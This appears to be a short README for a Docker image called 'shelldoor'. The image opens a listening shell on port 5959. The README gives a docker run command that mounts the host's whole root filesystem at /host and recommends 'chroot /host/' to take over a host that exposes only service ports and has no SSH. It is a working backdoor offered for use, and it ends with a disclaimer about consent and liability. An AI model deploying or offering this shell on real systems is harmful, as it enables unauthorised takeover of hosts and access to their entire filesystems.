Expose a port, listening with a reverse shell. Exposes the port 5959.
Useful for taking over a host which only has service ports exposed, but no SSH. Works well even when doing something like attacker -> load balancer -> container ~> host
docker run -it --rm -p 5959:5959 -v /:/host nicovillanueva/shelldoor:latest
The host's filesystem will be available in /host once you connect to the exposed shell. Doing a chroot /host/ works wonders.
I am by no means liable for any damage anyone could do with this. Do not use it on any system without previous consent.